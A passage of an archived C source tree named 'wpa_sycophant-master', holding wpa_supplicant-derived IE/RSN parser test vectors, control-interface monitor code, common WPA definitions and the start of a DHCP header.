1 }, { (u8 *) "\xef\x00", 2, ParseOK, 1 }, { (u8 *) "\xef\x01\x11", 3, ParseOK, 1 }, { (u8 *) "\xf0\x00", 2, ParseOK, 1 }, { (u8 *) "\xf1\x00", 2, ParseOK, 1 }, { (u8 *) "\xf1\x02\x11\x22", 4, ParseOK, 1 }, { (u8 *) "\xf2\x00", 2, ParseOK, 1 }, { (u8 *) "\xff\x00", 2, ParseUnknown, 1 }, { (u8 *) "\xff\x01\x00", 3, ParseUnknown, 1 }, { (u8 *) "\xff\x01\x01", 3, ParseOK, 1 }, { (u8 *) "\xff\x02\x01\x00", 4, ParseOK, 1 }, { (u8 *) "\xff\x01\x02", 3, ParseOK, 1 }, { (u8 *) "\xff\x04\x02\x11\x22\x33", 6, ParseOK, 1 }, { (u8 *) "\xff\x01\x04", 3, ParseOK, 1 }, { (u8 *) "\xff\x01\x05", 3, ParseOK, 1 }, { (u8 *) "\xff\x0d\x05\x11\x22\x33\x44\x55\x55\x11\x22\x33\x44\x55\x55", 15, ParseOK, 1 }, { (u8 *) "\xff\x01\x06", 3, ParseOK, 1 }, { (u8 *) "\xff\x02\x06\x00", 4, ParseOK, 1 }, { (u8 *) "\xff\x01\x07", 3, ParseOK, 1 }, { (u8 *) "\xff\x09\x07\x11\x22\x33\x44\x55\x66\x77\x88", 11, ParseOK, 1 }, { (u8 *) "\xff\x01\x0c", 3, ParseOK, 1 }, { (u8 *) "\xff\x02\x0c\x00", 4, ParseOK, 1 }, { (u8 *) "\xff\x01\x0d", 3, ParseOK, 1 }, { NULL, 0, ParseOK, 0 } }; static int ieee802_11_parse_tests(void) { int i, ret = 0; struct wpabuf *buf; wpa_printf(MSG_INFO, "ieee802_11_parse tests"); for (i = 0; parse_tests[i].data; i++) { const struct ieee802_11_parse_test_data *test; struct ieee802_11_elems elems; ParseRes res; test = &parse_tests[i]; res = ieee802_11_parse_elems(test->data, test->len, &elems, 1); if (res != test->result || ieee802_11_ie_count(test->data, test->len) != test->count) { wpa_printf(MSG_ERROR, "ieee802_11_parse test %d failed", i); ret = -1; } } if (ieee802_11_vendor_ie_concat((const u8 *) "\x00\x01", 2, 0) != NULL) { wpa_printf(MSG_ERROR, "ieee802_11_vendor_ie_concat test failed"); ret = -1; } buf = ieee802_11_vendor_ie_concat((const u8 *) "\xdd\x05\x11\x22\x33\x44\x01\xdd\x05\x11\x22\x33\x44\x02\x00\x01", 16, 0x11223344); do { const u8 *pos; if (!buf) { wpa_printf(MSG_ERROR, "ieee802_11_vendor_ie_concat test 2 failed"); ret = -1; break; } if (wpabuf_len(buf) != 2) { wpa_printf(MSG_ERROR, "ieee802_11_vendor_ie_concat test 3 failed"); ret = -1; break; } pos = wpabuf_head(buf); if (pos[0] != 0x01 || pos[1] != 0x02) { wpa_printf(MSG_ERROR, "ieee802_11_vendor_ie_concat test 3 failed"); ret = -1; break; } } while (0); wpabuf_free(buf); return ret; } struct rsn_ie_parse_test_data { u8 *data; size_t len; int result; }; static const struct rsn_ie_parse_test_data rsn_parse_tests[] = { { (u8 *) "", 0, -1 }, { (u8 *) "\x30\x00", 2, -1 }, { (u8 *) "\x30\x02\x01\x00", 4, 0 }, { (u8 *) "\x30\x02\x00\x00", 4, -2 }, { (u8 *) "\x30\x02\x02\x00", 4, -2 }, { (u8 *) "\x30\x02\x00\x01", 4, -2 }, { (u8 *) "\x30\x02\x00\x00\x00", 5, -2 }, { (u8 *) "\x30\x03\x01\x00\x00", 5, -3 }, { (u8 *) "\x30\x06\x01\x00\x00\x00\x00\x00", 8, -1 }, { (u8 *) "\x30\x06\x01\x00\x00\x0f\xac\x04", 8, 0 }, { (u8 *) "\x30\x07\x01\x00\x00\x0f\xac\x04\x00", 9, -5 }, { (u8 *) "\x30\x08\x01\x00\x00\x0f\xac\x04\x00\x00", 10, -4 }, { (u8 *) "\x30\x08\x01\x00\x00\x0f\xac\x04\x00\x01", 10, -4 }, { (u8 *) "\x30\x0c\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04", 14, 0 }, { (u8 *) "\x30\x0c\x01\x00\x00\x0f\xac\x04\x00\x01\x00\x0f\xac\x04", 14, -4 }, { (u8 *) "\x30\x0c\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x06", 14, -1 }, { (u8 *) "\x30\x10\x01\x00\x00\x0f\xac\x04\x02\x00\x00\x0f\xac\x04\x00\x0f\xac\x08", 18, 0 }, { (u8 *) "\x30\x0d\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x00", 15, -7 }, { (u8 *) "\x30\x0e\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x00\x00", 16, -6 }, { (u8 *) "\x30\x0e\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x00\x01", 16, -6 }, { (u8 *) "\x30\x12\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01", 20, 0 }, { (u8 *) "\x30\x16\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x02\x00\x00\x0f\xac\x01\x00\x0f\xac\x02", 24, 0 }, { (u8 *) "\x30\x13\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00", 21, 0 }, { (u8 *) "\x30\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00", 22, 0 }, { (u8 *) "\x30\x16\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x00\x00", 24, 0 }, { (u8 *) "\x30\x16\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x00\x01", 24, -9 }, { (u8 *) "\x30\x1a\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x00\x00\x00\x00\x00\x00", 28, -10 }, { (u8 *) "\x30\x1a\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x00\x00\x00\x0f\xac\x06", 28, 0 }, { (u8 *) "\x30\x1c\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x01\x00\x00\x00\x00\x00\x0f\xac\x06\x01\x02", 30, 0 }, { NULL, 0, 0 } }; static int rsn_ie_parse_tests(void) { int i, ret = 0; wpa_printf(MSG_INFO, "rsn_ie_parse tests"); for (i = 0; rsn_parse_tests[i].data; i++) { const struct rsn_ie_parse_test_data *test; struct wpa_ie_data data; test = &rsn_parse_tests[i]; if (wpa_parse_wpa_ie_rsn(test->data, test->len, &data) != test->result) { wpa_printf(MSG_ERROR, "rsn_ie_parse test %d failed", i); ret = -1; } } return ret; } static int gas_tests(void) { struct wpabuf *buf; wpa_printf(MSG_INFO, "gas tests"); gas_anqp_set_len(NULL); buf = wpabuf_alloc(1); if (buf == NULL) return -1; gas_anqp_set_len(buf); wpabuf_free(buf); buf = wpabuf_alloc(20); if (buf == NULL) return -1; wpabuf_put_u8(buf, WLAN_ACTION_PUBLIC); wpabuf_put_u8(buf, WLAN_PA_GAS_INITIAL_REQ); wpabuf_put_u8(buf, 0); wpabuf_put_be32(buf, 0); wpabuf_put_u8(buf, 0); gas_anqp_set_len(buf); wpabuf_free(buf); return 0; } int common_module_tests(void) { int ret = 0; wpa_printf(MSG_INFO, "common module tests"); if (ieee802_11_parse_tests() < 0 || gas_tests() < 0 || rsn_ie_parse_tests() < 0) ret = -1; return ret; } wpa_sycophant-master/src/common/ctrl_iface_common.c000066400000000000000000000110141377436615100231260ustar00rootroot00000000000000/* * Common hostapd/wpa_supplicant ctrl iface code. * Copyright (c) 2002-2013, Jouni Malinen * Copyright (c) 2015, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include #include #include "utils/common.h" #include "ctrl_iface_common.h" static int sockaddr_compare(struct sockaddr_storage *a, socklen_t a_len, struct sockaddr_storage *b, socklen_t b_len) { if (a->ss_family != b->ss_family) return 1; switch (a->ss_family) { #ifdef CONFIG_CTRL_IFACE_UDP case AF_INET: { struct sockaddr_in *in_a, *in_b; in_a = (struct sockaddr_in *) a; in_b = (struct sockaddr_in *) b; if (in_a->sin_port != in_b->sin_port) return 1; if (in_a->sin_addr.s_addr != in_b->sin_addr.s_addr) return 1; break; } case AF_INET6: { struct sockaddr_in6 *in6_a, *in6_b; in6_a = (struct sockaddr_in6 *) a; in6_b = (struct sockaddr_in6 *) b; if (in6_a->sin6_port != in6_b->sin6_port) return 1; if (os_memcmp(&in6_a->sin6_addr, &in6_b->sin6_addr, sizeof(in6_a->sin6_addr)) != 0) return 1; break; } #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CONFIG_CTRL_IFACE_UNIX case AF_UNIX: { struct sockaddr_un *u_a, *u_b; u_a = (struct sockaddr_un *) a; u_b = (struct sockaddr_un *) b; if (a_len != b_len || os_memcmp(u_a->sun_path, u_b->sun_path, a_len - offsetof(struct sockaddr_un, sun_path)) != 0) return 1; break; } #endif /* CONFIG_CTRL_IFACE_UNIX */ default: return 1; } return 0; } void sockaddr_print(int level, const char *msg, struct sockaddr_storage *sock, socklen_t socklen) { switch (sock->ss_family) { #ifdef CONFIG_CTRL_IFACE_UDP case AF_INET: case AF_INET6: { char host[NI_MAXHOST] = { 0 }; char service[NI_MAXSERV] = { 0 }; getnameinfo((struct sockaddr *) sock, socklen, host, sizeof(host), service, sizeof(service), NI_NUMERICHOST); wpa_printf(level, "%s %s:%s", msg, host, service); break; } #endif /* CONFIG_CTRL_IFACE_UDP */ #ifdef CONFIG_CTRL_IFACE_UNIX case AF_UNIX: { char addr_txt[200]; printf_encode(addr_txt, sizeof(addr_txt), (u8 *) ((struct sockaddr_un *) sock)->sun_path, socklen - offsetof(struct sockaddr_un, sun_path)); wpa_printf(level, "%s %s", msg, addr_txt); break; } #endif /* CONFIG_CTRL_IFACE_UNIX */ default: wpa_printf(level, "%s", msg); break; } } static int ctrl_set_events(struct wpa_ctrl_dst *dst, const char *input) { const char *value; int val; if (!input) return 0; value = os_strchr(input, '='); if (!value) return -1; value++; val = atoi(value); if (val < 0 || val > 1) return -1; if (str_starts(input, "probe_rx_events=")) { if (val) dst->events |= WPA_EVENT_RX_PROBE_REQUEST; else dst->events &= ~WPA_EVENT_RX_PROBE_REQUEST; } return 0; } int ctrl_iface_attach(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen, const char *input) { struct wpa_ctrl_dst *dst; /* Update event registration if already attached */ dl_list_for_each(dst, ctrl_dst, struct wpa_ctrl_dst, list) { if (!sockaddr_compare(from, fromlen, &dst->addr, dst->addrlen)) return ctrl_set_events(dst, input); } /* New attachment */ dst = os_zalloc(sizeof(*dst)); if (dst == NULL) return -1; os_memcpy(&dst->addr, from, fromlen); dst->addrlen = fromlen; dst->debug_level = MSG_INFO; ctrl_set_events(dst, input); dl_list_add(ctrl_dst, &dst->list); sockaddr_print(MSG_DEBUG, "CTRL_IFACE monitor attached", from, fromlen); return 0; } int ctrl_iface_detach(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen) { struct wpa_ctrl_dst *dst; dl_list_for_each(dst, ctrl_dst, struct wpa_ctrl_dst, list) { if (!sockaddr_compare(from, fromlen, &dst->addr, dst->addrlen)) { sockaddr_print(MSG_DEBUG, "CTRL_IFACE monitor detached", from, fromlen); dl_list_del(&dst->list); os_free(dst); return 0; } } return -1; } int ctrl_iface_level(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen, const char *level) { struct wpa_ctrl_dst *dst; wpa_printf(MSG_DEBUG, "CTRL_IFACE LEVEL %s", level); dl_list_for_each(dst, ctrl_dst, struct wpa_ctrl_dst, list) { if (!sockaddr_compare(from, fromlen, &dst->addr, dst->addrlen)) { sockaddr_print(MSG_DEBUG, "CTRL_IFACE changed monitor level", from, fromlen); dst->debug_level = atoi(level); return 0; } } return -1; } wpa_sycophant-master/src/common/ctrl_iface_common.h000066400000000000000000000024411377436615100231370ustar00rootroot00000000000000/* * Common hostapd/wpa_supplicant ctrl iface code. * Copyright (c) 2002-2013, Jouni Malinen * Copyright (c) 2015, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef CONTROL_IFACE_COMMON_H #define CONTROL_IFACE_COMMON_H #include "utils/list.h" /* Events enable bits (wpa_ctrl_dst::events) */ #define WPA_EVENT_RX_PROBE_REQUEST BIT(0) /** * struct wpa_ctrl_dst - Data structure of control interface monitors * * This structure is used to store information about registered control * interface monitors into struct wpa_supplicant. */ struct wpa_ctrl_dst { struct dl_list list; struct sockaddr_storage addr; socklen_t addrlen; int debug_level; int errors; u32 events; /* WPA_EVENT_* bitmap */ }; void sockaddr_print(int level, const char *msg, struct sockaddr_storage *sock, socklen_t socklen); int ctrl_iface_attach(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen, const char *input); int ctrl_iface_detach(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen); int ctrl_iface_level(struct dl_list *ctrl_dst, struct sockaddr_storage *from, socklen_t fromlen, const char *level); #endif /* CONTROL_IFACE_COMMON_H */ wpa_sycophant-master/src/common/defs.h000066400000000000000000000252061377436615100204210ustar00rootroot00000000000000/* * WPA Supplicant - Common definitions * Copyright (c) 2004-2018, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef DEFS_H #define DEFS_H #ifdef FALSE #undef FALSE #endif #ifdef TRUE #undef TRUE #endif typedef enum { FALSE = 0, TRUE = 1 } Boolean; #define WPA_CIPHER_NONE BIT(0) #define WPA_CIPHER_WEP40 BIT(1) #define WPA_CIPHER_WEP104 BIT(2) #define WPA_CIPHER_TKIP BIT(3) #define WPA_CIPHER_CCMP BIT(4) #define WPA_CIPHER_AES_128_CMAC BIT(5) #define WPA_CIPHER_GCMP BIT(6) #define WPA_CIPHER_SMS4 BIT(7) #define WPA_CIPHER_GCMP_256 BIT(8) #define WPA_CIPHER_CCMP_256 BIT(9) #define WPA_CIPHER_BIP_GMAC_128 BIT(11) #define WPA_CIPHER_BIP_GMAC_256 BIT(12) #define WPA_CIPHER_BIP_CMAC_256 BIT(13) #define WPA_CIPHER_GTK_NOT_USED BIT(14) #define WPA_KEY_MGMT_IEEE8021X BIT(0) #define WPA_KEY_MGMT_PSK BIT(1) #define WPA_KEY_MGMT_NONE BIT(2) #define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3) #define WPA_KEY_MGMT_WPA_NONE BIT(4) #define WPA_KEY_MGMT_FT_IEEE8021X BIT(5) #define WPA_KEY_MGMT_FT_PSK BIT(6) #define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7) #define WPA_KEY_MGMT_PSK_SHA256 BIT(8) #define WPA_KEY_MGMT_WPS BIT(9) #define WPA_KEY_MGMT_SAE BIT(10) #define WPA_KEY_MGMT_FT_SAE BIT(11) #define WPA_KEY_MGMT_WAPI_PSK BIT(12) #define WPA_KEY_MGMT_WAPI_CERT BIT(13) #define WPA_KEY_MGMT_CCKM BIT(14) #define WPA_KEY_MGMT_OSEN BIT(15) #define WPA_KEY_MGMT_IEEE8021X_SUITE_B BIT(16) #define WPA_KEY_MGMT_IEEE8021X_SUITE_B_192 BIT(17) #define WPA_KEY_MGMT_FILS_SHA256 BIT(18) #define WPA_KEY_MGMT_FILS_SHA384 BIT(19) #define WPA_KEY_MGMT_FT_FILS_SHA256 BIT(20) #define WPA_KEY_MGMT_FT_FILS_SHA384 BIT(21) #define WPA_KEY_MGMT_OWE BIT(22) #define WPA_KEY_MGMT_DPP BIT(23) #define WPA_KEY_MGMT_FT_IEEE8021X_SHA384 BIT(24) static inline int wpa_key_mgmt_wpa_ieee8021x(int akm) { return !!(akm & (WPA_KEY_MGMT_IEEE8021X | WPA_KEY_MGMT_FT_IEEE8021X | WPA_KEY_MGMT_FT_IEEE8021X_SHA384 | WPA_KEY_MGMT_CCKM | WPA_KEY_MGMT_OSEN | WPA_KEY_MGMT_IEEE8021X_SHA256 | WPA_KEY_MGMT_IEEE8021X_SUITE_B | WPA_KEY_MGMT_IEEE8021X_SUITE_B_192 | WPA_KEY_MGMT_FILS_SHA256 | WPA_KEY_MGMT_FILS_SHA384 | WPA_KEY_MGMT_FT_FILS_SHA256 | WPA_KEY_MGMT_FT_FILS_SHA384)); } static inline int wpa_key_mgmt_wpa_psk(int akm) { return !!(akm & (WPA_KEY_MGMT_PSK | WPA_KEY_MGMT_FT_PSK | WPA_KEY_MGMT_PSK_SHA256 | WPA_KEY_MGMT_SAE | WPA_KEY_MGMT_FT_SAE)); } static inline int wpa_key_mgmt_ft(int akm) { return !!(akm & (WPA_KEY_MGMT_FT_PSK | WPA_KEY_MGMT_FT_IEEE8021X | WPA_KEY_MGMT_FT_IEEE8021X_SHA384 | WPA_KEY_MGMT_FT_SAE | WPA_KEY_MGMT_FT_FILS_SHA256 | WPA_KEY_MGMT_FT_FILS_SHA384)); } static inline int wpa_key_mgmt_ft_psk(int akm) { return !!(akm & WPA_KEY_MGMT_FT_PSK); } static inline int wpa_key_mgmt_sae(int akm) { return !!(akm & (WPA_KEY_MGMT_SAE | WPA_KEY_MGMT_FT_SAE)); } static inline int wpa_key_mgmt_fils(int akm) { return !!(akm & (WPA_KEY_MGMT_FILS_SHA256 | WPA_KEY_MGMT_FILS_SHA384 | WPA_KEY_MGMT_FT_FILS_SHA256 | WPA_KEY_MGMT_FT_FILS_SHA384)); } static inline int wpa_key_mgmt_sha256(int akm) { return !!(akm & (WPA_KEY_MGMT_PSK_SHA256 | WPA_KEY_MGMT_IEEE8021X_SHA256 | WPA_KEY_MGMT_SAE | WPA_KEY_MGMT_FT_SAE | WPA_KEY_MGMT_OSEN | WPA_KEY_MGMT_IEEE8021X_SUITE_B | WPA_KEY_MGMT_FILS_SHA256 | WPA_KEY_MGMT_FT_FILS_SHA256)); } static inline int wpa_key_mgmt_sha384(int akm) { return !!(akm & (WPA_KEY_MGMT_IEEE8021X_SUITE_B_192 | WPA_KEY_MGMT_FT_IEEE8021X_SHA384 | WPA_KEY_MGMT_FILS_SHA384 | WPA_KEY_MGMT_FT_FILS_SHA384)); } static inline int wpa_key_mgmt_suite_b(int akm) { return !!(akm & (WPA_KEY_MGMT_IEEE8021X_SUITE_B | WPA_KEY_MGMT_IEEE8021X_SUITE_B_192)); } static inline int wpa_key_mgmt_wpa(int akm) { return wpa_key_mgmt_wpa_ieee8021x(akm) || wpa_key_mgmt_wpa_psk(akm) || wpa_key_mgmt_fils(akm) || wpa_key_mgmt_sae(akm) || akm == WPA_KEY_MGMT_OWE || akm == WPA_KEY_MGMT_DPP; } static inline int wpa_key_mgmt_wpa_any(int akm) { return wpa_key_mgmt_wpa(akm) || (akm & WPA_KEY_MGMT_WPA_NONE); } static inline int wpa_key_mgmt_cckm(int akm) { return akm == WPA_KEY_MGMT_CCKM; } #define WPA_PROTO_WPA BIT(0) #define WPA_PROTO_RSN BIT(1) #define WPA_PROTO_WAPI BIT(2) #define WPA_PROTO_OSEN BIT(3) #define WPA_AUTH_ALG_OPEN BIT(0) #define WPA_AUTH_ALG_SHARED BIT(1) #define WPA_AUTH_ALG_LEAP BIT(2) #define WPA_AUTH_ALG_FT BIT(3) #define WPA_AUTH_ALG_SAE BIT(4) #define WPA_AUTH_ALG_FILS BIT(5) #define WPA_AUTH_ALG_FILS_SK_PFS BIT(6) static inline int wpa_auth_alg_fils(int alg) { return !!(alg & (WPA_AUTH_ALG_FILS | WPA_AUTH_ALG_FILS_SK_PFS)); } enum wpa_alg { WPA_ALG_NONE, WPA_ALG_WEP, WPA_ALG_TKIP, WPA_ALG_CCMP, WPA_ALG_IGTK, WPA_ALG_PMK, WPA_ALG_GCMP, WPA_ALG_SMS4, WPA_ALG_KRK, WPA_ALG_GCMP_256, WPA_ALG_CCMP_256, WPA_ALG_BIP_GMAC_128, WPA_ALG_BIP_GMAC_256, WPA_ALG_BIP_CMAC_256 }; /** * enum wpa_states - wpa_supplicant state * * These enumeration values are used to indicate the current wpa_supplicant * state (wpa_s->wpa_state). The current state can be retrieved with * wpa_supplicant_get_state() function and the state can be changed by calling * wpa_supplicant_set_state(). In WPA state machine (wpa.c and preauth.c), the * wrapper functions wpa_sm_get_state() and wpa_sm_set_state() should be used * to access the state variable. */ enum wpa_states { /** * WPA_DISCONNECTED - Disconnected state * * This state indicates that client is not associated, but is likely to * start looking for an access point. This state is entered when a * connection is lost. */ WPA_DISCONNECTED, /** * WPA_INTERFACE_DISABLED - Interface disabled * * This state is entered if the network interface is disabled, e.g., * due to rfkill. wpa_supplicant refuses any new operations that would * use the radio until the interface has been enabled. */ WPA_INTERFACE_DISABLED, /** * WPA_INACTIVE - Inactive state (wpa_supplicant disabled) * * This state is entered if there are no enabled networks in the * configuration. wpa_supplicant is not trying to associate with a new * network and external interaction (e.g., ctrl_iface call to add or * enable a network) is needed to start association. */ WPA_INACTIVE, /** * WPA_SCANNING - Scanning for a network * * This state is entered when wpa_supplicant starts scanning for a * network. */ WPA_SCANNING, /** * WPA_AUTHENTICATING - Trying to authenticate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to authenticate with and the driver is configured to try to * authenticate with this BSS. This state is used only with drivers * that use wpa_supplicant as the SME. */ WPA_AUTHENTICATING, /** * WPA_ASSOCIATING - Trying to associate with a BSS/SSID * * This state is entered when wpa_supplicant has found a suitable BSS * to associate with and the driver is configured to try to associate * with this BSS in ap_scan=1 mode. When using ap_scan=2 mode, this * state is entered when the driver is configured to try to associate * with a network using the configured SSID and security policy. */ WPA_ASSOCIATING, /** * WPA_ASSOCIATED - Association completed * * This state is entered when the driver reports that association has * been successfully completed with an AP. If IEEE 802.1X is used * (with or without WPA/WPA2), wpa_supplicant remains in this state * until the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_ASSOCIATED, /** * WPA_4WAY_HANDSHAKE - WPA 4-Way Key Handshake in progress * * This state is entered when WPA/WPA2 4-Way Handshake is started. In * case of WPA-PSK, this happens when receiving the first EAPOL-Key * frame after association. In case of WPA-EAP, this state is entered * when the IEEE 802.1X/EAPOL authentication has been completed. */ WPA_4WAY_HANDSHAKE, /** * WPA_GROUP_HANDSHAKE - WPA Group Key Handshake in progress * * This state is entered when 4-Way Key Handshake has been completed * (i.e., when the supplicant sends out message 4/4) and when Group * Key rekeying is started by the AP (i.e., when supplicant receives * message 1/2). */ WPA_GROUP_HANDSHAKE, /** * WPA_COMPLETED - All authentication completed * * This state is entered when the full authentication process is * completed. In case of WPA2, this happens when the 4-Way Handshake is * successfully completed. With WPA, this state is entered after the * Group Key Handshake; with IEEE 802.1X (non-WPA) connection is * completed after dynamic keys are received (or if not used, after * the EAP authentication has been completed). With static WEP keys and * plaintext connections, this state is entered when an association * has been completed. * * This state indicates that the supplicant has completed its * processing for the association phase and that data connection is * fully configured. */ WPA_COMPLETED }; #define MLME_SETPROTECTION_PROTECT_TYPE_NONE 0 #define MLME_SETPROTECTION_PROTECT_TYPE_RX 1 #define MLME_SETPROTECTION_PROTECT_TYPE_TX 2 #define MLME_SETPROTECTION_PROTECT_TYPE_RX_TX 3 #define MLME_SETPROTECTION_KEY_TYPE_GROUP 0 #define MLME_SETPROTECTION_KEY_TYPE_PAIRWISE 1 /** * enum mfp_options - Management frame protection (IEEE 802.11w) options */ enum mfp_options { NO_MGMT_FRAME_PROTECTION = 0, MGMT_FRAME_PROTECTION_OPTIONAL = 1, MGMT_FRAME_PROTECTION_REQUIRED = 2, }; #define MGMT_FRAME_PROTECTION_DEFAULT 3 /** * enum hostapd_hw_mode - Hardware mode */ enum hostapd_hw_mode { HOSTAPD_MODE_IEEE80211B, HOSTAPD_MODE_IEEE80211G, HOSTAPD_MODE_IEEE80211A, HOSTAPD_MODE_IEEE80211AD, HOSTAPD_MODE_IEEE80211ANY, NUM_HOSTAPD_MODES }; /** * enum wpa_ctrl_req_type - Control interface request types */ enum wpa_ctrl_req_type { WPA_CTRL_REQ_UNKNOWN, WPA_CTRL_REQ_EAP_IDENTITY, WPA_CTRL_REQ_EAP_PASSWORD, WPA_CTRL_REQ_EAP_NEW_PASSWORD, WPA_CTRL_REQ_EAP_PIN, WPA_CTRL_REQ_EAP_OTP, WPA_CTRL_REQ_EAP_PASSPHRASE, WPA_CTRL_REQ_SIM, WPA_CTRL_REQ_PSK_PASSPHRASE, WPA_CTRL_REQ_EXT_CERT_CHECK, NUM_WPA_CTRL_REQS }; /* Maximum number of EAP methods to store for EAP server user information */ #define EAP_MAX_METHODS 8 enum mesh_plink_state { PLINK_IDLE = 1, PLINK_OPN_SNT, PLINK_OPN_RCVD, PLINK_CNF_RCVD, PLINK_ESTAB, PLINK_HOLDING, PLINK_BLOCKED, /* not defined in the IEEE 802.11 standard */ }; enum set_band { WPA_SETBAND_AUTO, WPA_SETBAND_5G, WPA_SETBAND_2G }; enum wpa_radio_work_band { BAND_2_4_GHZ = BIT(0), BAND_5_GHZ = BIT(1), BAND_60_GHZ = BIT(2), }; enum beacon_rate_type { BEACON_RATE_LEGACY, BEACON_RATE_HT, BEACON_RATE_VHT }; enum eap_proxy_sim_state { SIM_STATE_ERROR, }; #define OCE_STA BIT(0) #define OCE_STA_CFON BIT(1) #define OCE_AP BIT(2) #endif /* DEFS_H */ wpa_sycophant-master/src/common/dhcp.h000066400000000000000000000152461377436615100204210ustar00rootroot00000000000000/* * DHCP definitions * Copyright (c) 2014-2017, Qualcomm Atheros, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef DHCP_H #define DHCP_H #include #if __FAVOR_BSD #include #else #define __FAVOR_BSD 1 #include #undef __FAVOR_BSD #endif #define DHCP_SERVER_PORT 67 #define DHCP_CLIENT_PORT 68 struct dhcp_data { u8 op; u8 htype; u8 hlen; u8 hops; be32 xid; be16 secs; be16 flags; be32 client_ip; be32 your_ip; be32 server_ip; be32 relay_ip; u8 hw_addr[16]; u8 serv_name[64]; u8 boot_file[128]; } STRUCT_PACKED; struct bootp_pkt { struct iphdr iph; struct udphdr udph; u8 op; u8 htype; u8 hlen; u8 hops; be32 xid; be16 secs; be16 flags; be32 client_ip; be32 your_ip; be32 server_ip; be32 relay_ip; u8 hw_addr[16]; u8 serv_name[64]; u8 boot_file[128]; u8 exten[312]; } STRUCT_PACKED; #define DHCP_MAGIC 0x63825363 /* * IANA DHCP/BOOTP registry * http://www.iana.org/assignments/bootp-dhcp-parameters/bootp-dhcp-parameters.xhtml */ enum dhcp_options { DHCP_OPT_PAD = 0, DHCP_OPT_SUBNET_MASK = 1, DHCP_OPT_TIME_OFFSET = 2, DHCP_OPT_ROUTER = 3, DHCP_OPT_TIME_SERVER = 4, DHCP_OPT_NAME_SERVER = 5, DHCP_OPT_DOMAIN_NAME_SERVER = 6, DHCP_OPT_LOG_SERVER = 7, DHCP_OPT_QUOTES_SERVER = 8, DHCP_OPT_LPR_SERVER = 9, DHCP_OPT_IMPRESS_SERVER = 10, DHCP_OPT_RLP_SERVER = 11, DHCP_OPT_HOSTNAME = 12, DHCP_OPT_BOOT_FILE_SIZE = 13, DHCP_OPT_MERIT_DUMP_FILE = 14, DHCP_OPT_DOMAIN_NAME = 15, DHCP_OPT_SWAP_SERVER = 16, DHCP_OPT_ROOT_PATH = 17, DHCP_OPT_EXTENSION_PATH = 18, DHCP_OPT_FORWARD = 19, DHCP_OPT_SRC_RTE = 20, DHCP_OPT_POLICY_FILTER = 21, DHCP_OPT_MAX_DG_ASSEMBLY = 22, DHCP_OPT_DEFAULT_IP_TTL = 23, DHCP_OPT_MTU_TIMEOUT = 24, DHCP_OPT_MTU_PLATEAU = 25, DHCP_OPT_MTU_INTERFACE = 26, DHCP_OPT_ALL_SUBNETS_LOCAL = 27, DHCP_OPT_BROADCAST_ADDRESS = 28, DHCP_OPT_MASK_DISCOVERY = 29, DHCP_OPT_MASK_SUPPLIER = 30, DHCP_OPT_ROUTER_DISCOVERY = 31, DHCP_OPT_ROUTER_SOLICITATION_ADDRESS = 32, DHCP_OPT_STATIC_ROUTE = 33, DHCP_OPT_TRAILERS = 34, DHCP_OPT_ARP_TIMEOUT = 35, DHCP_OPT_ETHERNET = 36, DHCP_OPT_TCP_DEFAULT_TTL = 37, DHCP_OPT_TCP_KEEPALIVE_INTERVAL = 38, DHCP_OPT_TCP_KEEPALIVE_GARBAGE = 39, DHCP_OPT_NIS_DOMAIN = 40, DHCP_OPT_NIS_SERVERS = 41, DHCP_OPT_NTP_SERVERS = 42, DHCP_OPT_VENDOR_SPECIFIC = 43, DHCP_OPT_NETBIOS_NAME_SERVER = 44, DHCP_OPT_NETBIOS_DISTRIBUTION_SERVER = 45, DHCP_OPT_NETBIOS_NODE_TYPE = 46, DHCP_OPT_NETBIOS_SCOPE = 47, DHCP_OPT_FONT_SERVER = 48, DHCP_OPT_DISPLAY_MANAGER = 49, DHCP_OPT_REQUESTED_IP_ADDRESS = 50, DHCP_OPT_IP_ADDRESS_LEASE_TIME = 51, DHCP_OPT_OVERLOAD = 52, DHCP_OPT_MSG_TYPE = 53, DHCP_OPT_SERVER_ID = 54, DHCP_OPT_PARAMETER_REQ_LIST = 55, DHCP_OPT_MESSAGE = 56, DHCP_OPT_MAX_MESSAGE_SIZE = 57, DHCP_OPT_RENEWAL_TIME = 58, DHCP_OPT_REBINDING_TIME = 59, DHCP_OPT_VENDOR_CLASS_ID 